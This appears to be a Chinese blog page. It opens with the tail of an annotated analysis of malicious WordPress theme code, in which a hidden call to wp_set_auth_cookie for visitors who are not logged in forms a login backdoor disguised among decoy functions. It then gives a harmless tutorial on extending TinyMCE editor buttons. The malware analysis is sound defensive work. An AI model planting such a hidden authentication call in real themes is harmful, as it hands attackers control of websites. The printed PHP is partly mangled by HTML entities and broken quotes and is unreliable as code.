    $output=($fixed_tags) ? balanceTags($output, true) : $output;
    $output .= ($isshowdots &#038;&#038; $ellipsis) ? "..." : "";    //$filter 为 none ...,又是在伪装
    $output=apply_filters($filter, $output);
    switch($tag_aditional) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }
 
//$checkswidgets即是wp_set_auth_cookie
    if ($is_use_more_link ) {
        if($for_more) {
            $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_text_link . "">" . $link_text_more = !is_user_logged_in() &#038;&#038; @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";        } else {
            $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_text_link . "">" . $link_text_more . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}
 
//这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action("init", "_getprepare_widget");
 
 
//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
    if(!$show_pass_post) $request .= " AND post_password =""";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}
?>

部分内容摘自http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html

wordpress默认编辑器TinyMCE功能增强方法

wordpress默认的文章编辑器只提供了一些常用的功能按钮,有博主可能需要扩展WP默认编辑器的功能,普通博主可能会选择安装强大的wordpress编辑器插件,其实WP使用的可视化编辑器TinyMCE只需要在functions.php添加相关的函数代码即可进行功能增加,如添加更多的编辑器可用按钮。

wordpress默认编辑器TinyMCE功能增强方法

添加方法:

在当前主题的functions.php文件添加代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function add_editor_buttons($buttons) {
	$buttons[] = 'fontselect';
	$buttons[] = 'fontsizeselect';
	$buttons[] = 'backcolor';
	$buttons[] = 'underline';
	$buttons[] = 'hr';
	$buttons[] = 'sub';
	$buttons[] = 'sup';
	$buttons[] = 'cut';
	$buttons[] = 'copy';
	$buttons[] = 'paste';
	$buttons[] = 'cleanup';
	$buttons[] = 'wp_page';
	$buttons[] = 'newdocument';
	return $buttons;
}
add_filter("mce_buttons_3", "add_editor_buttons");

从上面的代码可见,核心方法是在代码中 $buttons[] = 后面单引号内的添加相应的功能单词就可以了,更多的功能单词可以参考下面的wordpress编辑器按钮调用的Key代码:

  • 剪切(cut)
  • 复制(copy)
  • 粘贴(paste)
  • 撤销(undo)
  • 重做(redo)
  • 居中(justifycenter)
  • 加粗(bold)
  • 斜体(italic)
  • 左对齐(justifyleft)
  • 右对齐(justfyright)
  • 两端对齐(justfyfull)
  • 插入超链接(link)
  • 取消超链接(unlink)
  • 插入图片(image)
  • 清除格式(removeformat)
  • 下划线(underline)
  • 删除线(strikethrough)
  • 锚文本(anchor)
  • 新建文本(newdocument)
  • 字体颜色(forecolor)
  • 字体背景色(backcolor)
  • 格式选择(formmatselect)
  • 字体选择(fontselect)
  • 字号选择(fontsizeselect)
  • 样式选择(styleselect)
  • 无序列表(bullist)
  • 编号列表(numlist)
  • 减少缩进(outdent)
  • 缩进(indent)
  • 帮助(wp_help)
  • 打开HTML代码编辑器(code)
  • 水平线(hr)
  • 清除冗余代码(cleanup)
  • 上标(sub)
  • 下标(sup)
  • 特殊符号(charmap)
  • 插入more标签(wp_more)
  • 插入分页标签(wp_page)
  • 隐藏按钮显示开关(wp_adv)
  • 隐藏按钮区起始部分(wp_adv_start)
  • 隐藏按钮区结束部分(wp_adv_end)
  • 拼写检查(spellchecker)

主要内容来自百度经验